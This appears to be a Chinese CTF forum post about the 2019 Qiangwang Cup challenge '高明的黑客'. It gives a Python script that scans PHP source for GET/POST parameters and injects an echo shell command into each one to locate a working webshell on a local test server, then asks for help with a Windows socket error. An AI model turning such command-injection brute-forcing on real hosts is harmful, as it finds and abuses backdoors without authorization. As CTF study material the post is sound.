訪問(wèn)/www.tar.gz得到源代碼
參考了別人的writeup，用wamp或者phpstudy搭建本地環(huán)境本地跑一下
基本原理是暴力破解，把每個(gè)文件里可能成為真正參數(shù)的參數(shù)都跑一下，直到發(fā)現(xiàn)那個(gè)可以訪問(wèn)的參數(shù)為止
那么如何測(cè)試？
對(duì)于get：構(gòu)造?[參數(shù)]=echo "xxx"
對(duì)于post：構(gòu)造data:{[參數(shù)]:=echo"xxx"}

import os
import re
import requests as r

files = os.listdir(r'C:\wamp\www\src')
method = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")#$_[GEPOST]{3,4}[.*]
print(method)
flag = 0
for i in files:
    p = 'C:\\wamp\\www\\src\\' + i
    content = open(p, 'r', encoding='UTF-8').read()
    #print(i)
    #print(content)
    print('*' * 20 + i + '*' * 20)
    gepost = method.findall(content)
    #print(gepost)
    url = 'http://127.0.0.1/src/'
    cmd = '=echo "cryscat";'
    for j in gepost:
        if 'GET' in j:
            pdget = re.findall(r"'(.*)'", j)[0]
            urlg = url + i + '?' + pdget + cmd
            #print(urlg)
            res = r.get(urlg)
            print('------> ' + pdget)
            if 'cryscat' in res.text:
                print('Success!!! ------> ' + urlg)
                flag = 1
                break
        if 'POST' in j:
            pdpost = re.findall(r"'(.*)'", j)[0]
            data = {
                pdpost: cmd
            }
            urlp = url + i
            #print(urlp)
            res = r.post(urlp, data=data)
            print('------> ' + pdpost)
            if 'cryscat' in res.text:
                print('Success!!! ------> ' + urlp + '  ' + data)
                flag = 1
                break

    if flag == 1:
        break

代碼應(yīng)該沒(méi)問(wèn)題，但是從報(bào)錯(cuò)

Traceback (most recent call last):
  File "C:\Python36\lib\site-packages\urllib3\connection.py", line 141, in _new_conn
    (self.host, self.port), self.timeout, **extra_kw)
  File "C:\Python36\lib\site-packages\urllib3\util\connection.py", line 83, in create_connection
    raise err
  File "C:\Python36\lib\site-packages\urllib3\util\connection.py", line 73, in create_connection
    sock.connect(sa)
OSError: [WinError 10048] 通常每個(gè)套接字地址(協(xié)議/網(wǎng)絡(luò)地址/端口)只允許使用一次。

找了一圈也沒(méi)解決，linux下沒(méi)有測(cè)試，求大佬幫助。

參考文章：
https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190530-19qwb.html
https://blog.csdn.net/qq_26406447/article/details/90690453
https://mochazz.github.io/2019/05/27/2019%E5%BC%BA%E7%BD%91%E6%9D%AFWeb%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/
http://cdusec.happyhacking.top/?post=77
https://skysec.top/2019/05/25/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFonline-Web-Writeup/#%E9%AB%98%E6%98%8E%E7%9A%84%E9%BB%91%E5%AE%A2